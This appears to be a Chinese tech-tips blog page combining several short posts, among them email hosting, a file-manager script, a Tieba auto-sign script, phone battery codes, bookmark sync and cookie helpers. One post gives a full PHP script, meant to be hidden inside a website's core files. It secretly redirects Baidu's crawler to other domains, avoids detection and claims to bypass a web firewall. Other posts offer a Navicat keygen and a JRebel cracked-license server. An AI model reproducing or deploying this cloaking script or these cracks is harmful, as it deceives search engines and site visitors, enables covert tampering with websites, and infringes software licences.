Yandex Mail、Zoho Mail可设置自定义域名邮箱推荐

注册Yandex Mail账户账户注册地址地址:https://mail.yandex.com/登入地址地址:https://mail.yandex.com/?pdd_domain=自定义域名Zoho免费企业邮局官方网站网站:https://www.zoho.com/ 我们可以看到当前Zoho提供的企业邮局有免费和付费账户,但是一般我们普通用途,免费账户足够使用,免费版本目前不支持POP、SMPT,建议购买付费版本。(这里有一个技巧,我们一定要在.COM域名下才行,千万不要跑进zoho.com.cn域名,因为两者是完全不同的账户,不畅通的。)

极简网盘-极简且美观的多用户网盘程序:Veno File Manager汉化版

一款极简的网盘程序,不臃肿,界面美观的自适应网盘程序,支持密码分享、远程下载等功能,支持多用户注册。原程序付费,目前官方最新版本:3.5.5 (2020.1.14)正版购买下载地址:http://filemanager.veno.it演示:http://pan.hik.win使用:        搭建好PHP环境,然后将源码上传到网站根目录即可,默认登录管理的用户名是admin密码是password,进后台后记得设置一下语言和更改密码。汉化版下载:veno-file-manager-v3.4.8密码:uepa|大小:3.5M已经过安全软件检测无毒,请您放心下载。

极简网盘-极简且美观的多用户网盘程序:Veno File Manager汉化版

判断百度蜘蛛偷偷进行转移权重301,给新站提权

  功能说明:   1.判断蜘蛛跳转   2.支持多个域名随机跳转   3.判断百度搜索进去不进行跳转(防止被发现)   4.正常浏览器访问不跳转   5.过安全狗防护使用方法:   以下代码新建为:useragent.func.php(可以放在隐蔽的地方)   然后在你网站程序核心函数,例如:dedecms动态页面可以在:index.php  进行引入自己新建的代码为: require_once (dirname(__FILE__) . "/useragent.func.php");<?php/**作者:68喜科技*/error_reporting(E_ALL^E_NOTICE^E_WARNING);$xieyi="http://";function checkrobot($useragent=''){        static $kw_spiders = array('bot', 'crawl', 'spider' ,'slurp', 'sohu-search', 'lycos', 'robozilla');        static $kw_browsers = array('msie', 'netscape', 'opera', 'konqueror', 'mozilla');          $useragent = strtolower(empty($useragent) ? $_SERVER['HTTP_USER_AGENT'] : $useragent);        if(strpos($useragent, 'http://') === false && dstrpos($useragent, $kw_browsers)) return false;        if(dstrpos($useragent, $kw_spiders)) return true;        return false;}function dstrpos($string, $arr, $returnvalue = false) {        if(empty($string)) return false;        foreach((array)$arr as $v) {                if(strpos($string, $v) !== false) {                        $return = $returnvalue ? $v : true;                        return $return;                }        }        return false;}//网址随机输出,可以填写多个随机输出转移权重的网址$url[0] = "http://demoo1.com";$url[1] = "http://demoo2.com";$url[2] = "http://demoo3.com";$url[3] = "http://demoo4.com";$url[4] = "http://demoo5.com";$url[5] = "http://demoo5.com";srand ((double)microtime()*1000000);$randomnum = rand(0, count($url)-1);if(checkrobot()){    Header("Location:$url[$randomnum]");                 header('HTTP/1.1 301 Moved Permanently');                header("Location:$url[$randomnum]");                    exit;}//判断的是百度,如果是百度点击进去就不跳转,防止被发现if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")){                     $file = file_get_contents( $xieyi.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);                          echo $file;                exit;    exit;       }?>

贴吧签到PHP单文件版

修改bduss,然后用定时任务访问即可。代码:<?php date_default_timezone_set('PRC'); set_time_limit(0); echo "=========【".date('Y-m-d H:i:s')."】========="."\r\n"; //身份标识 $bduss="填写bduss";    /*定义自定义函数*/    function xCurl($url,$cookie=null,$postdata=null,$header=array()){        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL,$url);        if (!is_null($postdata)) curl_setopt($ch, CURLOPT_POSTFIELDS,$postdata);        if (!is_null($cookie)) curl_setopt($ch, CURLOPT_COOKIE,$cookie);        if (!empty($header)) curl_setopt($ch, CURLOPT_HTTPHEADER, $header);        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);        curl_setopt($ch, CURLOPT_TIMEOUT, 50);        $re = curl_exec($ch);        curl_close($ch);        return $re;    };    /*贴吧客户端请求头*/    $tieba_header = array(        'Content-Type: application/x-www-form-urlencoded',        'Charset: UTF-8',        'net: 3',        'User-Agent: bdtb for Android 8.4.0.1',        'Connection: Keep-Alive',        'Accept-Encoding: gzip',        'Host: c.tieba.baidu.com',    );    /*浏览器请求头*/    $firefox_header = array(        'Host: tieba.baidu.com',        'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0',        'Accept: */*',        'Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',        'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',        'Referer: http://tieba.baidu.com/',        'Connection: keep-alive',    );        //获取tbs    $re=json_decode(xCurl('http://tieba.baidu.com/dc/common/tbs','BDUSS=' . $bduss,null,$firefox_header),true);    if (! $re['is_login']) {     echo "bduss 失效!";     exit;    }    //组织提交参数    $tbs = $re['tbs'];    $postdata = array ('BDUSS='.$bduss,'tbs=' . $tbs);    $postdata = implode('&', $postdata).'&sign='.md5(implode('', $postdata).'tiebaclient!!!');    //执行签到操作    function dosign($bduss,$tbs,$postdata,$tieba_header){     //获取关注贴吧列表     for ($pageno = 1; 1 ; $pageno ++){      $postdata='BDUSS='.urlencode($bduss).'&_client_version=8.1.0.4'.'&page_no=' . $pageno.'&page_size=100'.'&sign='.md5('BDUSS='.$bduss.'_client_version=8.1.0.4'.'page_no='.$pageno.'page_size=100'.'tiebaclient!!!');      $res = json_decode(gzdecode(xCurl('http://c.tieba.baidu.com/c/f/forum/like','ca=open',$postdata,$tieba_header)),true);      //循环执行签到      foreach ($res['forum_list']['non-gconforum'] as $list) {      echo '尝试签到[' . $list['name'].']吧:';      $ret = json_decode(gzdecode(xCurl('http://c.tieba.baidu.com/c/c/forum/sign','ca=open','BDUSS='.urlencode($bduss).'&fid='.$list['id'].'&kw='.urlencode($list['name']).'&sign='.md5('BDUSS='.$bduss.'fid='.$list['id'].'kw='.$list['name'].'tbs='.$tbs.'tiebaclient!!!').'&tbs='.$tbs,$tieba_header)),true);      if ($ret['error_code'] == '0'){      echo '签到完成,经验值加' . $ret['user_info']['sign_bonus_point'] . ',你是今天第' . $ret['user_info']['user_sign_rank'] . '个签到的。'."\r\n";      }else{      echo $ret['error_msg'] . '。'."\r\n";      }      }      if ($res['has_more'] == '0'){      break;      }     }    }    dosign($bduss,$tbs,$postdata,$tieba_header);    //执行超级签到,并获取签到结果    //$res = json_decode(xCurl('http://tieba.baidu.com/tbmall/onekeySignin1','BDUSS='.$bduss,'ie=utf-8&tbs='.$tbs,$firefox_header),true);    // echo '签到完成!已签' . @$res['data']['signedForumAmount'] . '个吧,' . @$res['data']['unsignedForumAmount'] . '个吧未签。'."\r\n\r\n";    // //检测是否全部签到成功    // if(!empty($res['data'])&&!empty($res['data']['unsignedForumAmount'])){    //  echo $res['data']['unsignedForumAmount']."个贴吧签到失败,执行重签。"."\r\n";    //  dosign($bduss,$tbs,$postdata,$tieba_header);    // }

小米手机电池健康检测功能使用

打开拨号盘输入*#*#6485#*#*你就会看到如下画面MB00:你目前的电量MB06:电池健康状态(系统认定能开机都是好的) 重点来了(敲黑板敲黑板) MF02:充电次数 MF05:目前电池容量:损耗后的 MF06:标准的电池容量这里显示我的手机已经充电1237次,实际容量只有2155mAh,相比较出场时3350mAh的容量而言,大概只有原来的68%。    大家可以换算下自己手机电池的损耗。建议:当电池的实际容量小于80%的设计容量时就可以考虑更换电池了。

小米手机电池健康检测功能使用

Floccus - 书签跨平台同步 不同浏览器书签一起同步方法

出于众所周知的原因,Chrome 的同步功能的体验一言难尽,不少用户也因此转投诸如 Eage、Firefox 等其它浏览器。开源免费的 Floccus ,就恰如其分的解决了如何同步不同浏览器之间的标签的问题。Floccus 可以同步 Chrome、Firefox、Kiwi 等浏览器的书签,你可以借助 WebDAV,将书签数据同步在坚果云等同步网盘中。使用方法很简单粗暴,在坚果云中获取WebDav网址、账号、密码,然后在坚果云中新建保存书签的文件夹,填在插件配置中即可。其谷歌商店下载地址:https://chrome.google.com/webstore/detail/floccus/fnaicdffflnofjppbagibeoednhnbjhg?utm_source=chrome-ntp-icon 上不去谷歌商店的用户可以下载离线版本:https://www.jianguoyun.com/p/DfUe70wQoa3pBxjyms0C 在上述链接文件列表中找到Floccus下载即可。非谷歌浏览器但是Chrome内核的浏览器可以直接拖动插件进去安装,例如360,UC等。谷歌浏览器需要将crx文件解压,然后打开开发模式加载解压的文件夹即可。

数据库连接工具Navicat Premium 15激活工具注册机

  Navicat Premium 15如何安装和激活?Navicat Premium 15是数据库连接管理工具,兼容性非常高,对于常用的数据库软件比如MySQL、Oracle等,都能从单个应用同时连接。Navicat Premium对于新手来首也容易上手,有20多种图表类型,创建图表很简单,也能数据建模。下面来看看Navicat Premium 15激活的图文教程。 Navicat Premium 15有什么用   Navicat Premium 15是功能强大的数据库管理软件,可让您从单个应用程序同时连接到MySQL,MariaDB,SQL Server,Oracle,PostgreSQL和SQLite数据库,与Amazon RDS,Amazon Aurora,Amazon Redshift,SQL Azure,Oracle Cloud和Google Cloud等云数据库兼容,您可以快速轻松地构建,管理和维护数据库。   有了Navicat Premium,您不再需要为不同的数据库而切换不同的数据库工具。Navicat Premium结合了其他Navicat成员的功能,有了这种连接到不同数据库的能力,它可以在MySQL、SQLite、Oracle、MariaDB、Mssql、及PostgreSQL之间进行数据传输。   同时Navicat Premium也支持大部份数据库管理系统中使用的功能,包括存储过程、事件、触发器、函数、视图等,使用它可以轻松连接到MySQL、SQLite、Oracle、MariaDB、Mssql、及PostgreSQL数据库,让管理不同类型的数据库更加的方便。   Navicat Premium有三种平台版本- Microsoft Windows、Mac OS X及Linux,使用者可以轻松的连接本地/远端服务器、程序提供一些实用的工具,使数据/结构同步、导入/导出、备份/还原及报表以协助管理数据等等工作更加便捷。   Navicat 15更加强大,具有许多改进和功能,可以满足您的数据库开发需求,进行了增强以提供完全的灵活性,具有100多种增强功能,为您提供了构建,管理和维护数据库的新方法。   Navicat Premium 15创建图表更加的简单,支持20种图表类型,支持强大的数据传输,发布了一种新的SQL编写方法,不仅允许添加子查询以进一步限制查询结果,而且还可以预览正在处理的查询并在发现任何语法错误后进行修改。navicat 15还引入了一种新的同步到数据库功能的机制,可以轻松找到所有对象差异,欢迎免费下载体验。 Navicat15激活教程 下载激活工具 Navicat15密码:mzui|大小:5M 已经过安全软件检测无毒,请您放心下载。 教程:先下载navicat15安装启动,下载注册机启动,点第一个Generate获取注册码,会自动给填上,若没自动填请手动复制。 直接激活失败的话选择“手动激活”,然后复制请求码到注册机的“请求码”框中,再点击倒数第一行(第二个Generate)生成离线激活码再复制到Navicat激活即可。

数据库连接工具Navicat Premium 15激活工具注册机

Java自动化部署工具Jrebel、性能监控工具Xrebel激活

首先说下idea下的这款热部署工具, 热部署只是针对class文件,源文件这些。对于属性文件.xml或.properties,修改了都需要重启服务器,因为属性文件是在服务器启动的时候加载的,不可能被热部署识别到。程序可以设置热部署刷新时间,也可以手动刷新热部署,快捷键Ctrl+F9或双击Ctrl。激活时选Team那一个选项,输入激活网址激活即可。https://jrebel.qekang.com/d4f05e6e-f98a-4777-bd09-5fcfd44c4557

Java自动化部署工具Jrebel、性能监控工具Xrebel激活

Linux树莓派root运行文件提示权限不够

解决方法: chmod a+x filename  PS:用字符串来设定文件访问权限。  其中读用 r 表示,写用 w 表示,执行用 x 表示;  所有者用 u 表示,组用户用 g 表示,其他用户用 o 表示,所有用户用 a 表示。例子:  chmod a+r,u+w,u+x,g+w  myName.txt

js获取cookie值 根据cookie名称获取值 删除设置cookie

//方法1  //存在问题:如果cookie中存在 aaaname=aa;name=bb 获取name的值就会出现错误function getCookie(c_name) { if (document.cookie.length > 0) { //判断cookie是否存在 //获取cookie名称加=的索引值 var c_start = document.cookie.indexOf(c_name + "="); if (c_start != -1) { //说明这个cookie存在 //获取cookie名称对应值的开始索引值 c_start = c_start + c_name.length + 1 //从c_start位置开始找第一个分号的索引值,也就是cookie名称对应值的结束索引值 c_end = document.cookie.indexOf(";", c_start) //如果找不到,说明是cookie名称对应值的结束索引值就是cookie的长度 if (c_end == -1) c_end = document.cookie.length //unescape() 函数可对通过 escape() 编码的字符串进行解码 //获取cookie名称对应的值,并返回 return unescape(document.cookie.substring(c_start, c_end)) } } return "" //不存在返回空字符串}//方法2function getCookie2(name) { var strcookie = document.cookie; //获取cookie字符串 var arrcookie = strcookie.split("; "); //分割 //遍历匹配 for (var i = 0; i < arrcookie.length; i++) { var arr = arrcookie[i].split("="); if (arr[0] == name) { return arr[1]; } } return "";}//方法3function getCookie3(name) { //可以搜索RegExp和match进行学习 var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)"); if (arr = document.cookie.match(reg)) { return unescape(arr[2]); } else { return null; }}//写cookiesfunction setCookie(name, value) { var Days = 30; var exp = new Date(); exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 1000); document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString();}//写cookies设置过期时间function setCookie(cname, cvalue, exdays) { var d = new Date(); d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000)); var expires = "expires=" + d.toUTCString(); document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";}//删除cookiesfunction delCookie(name) { var exp = new Date(); exp.setTime(exp.getTime() - 1); var cval = getCookie(name); if (cval != null) document.cookie = name + "=" + cval + ";expires=" + exp.toGMTString();}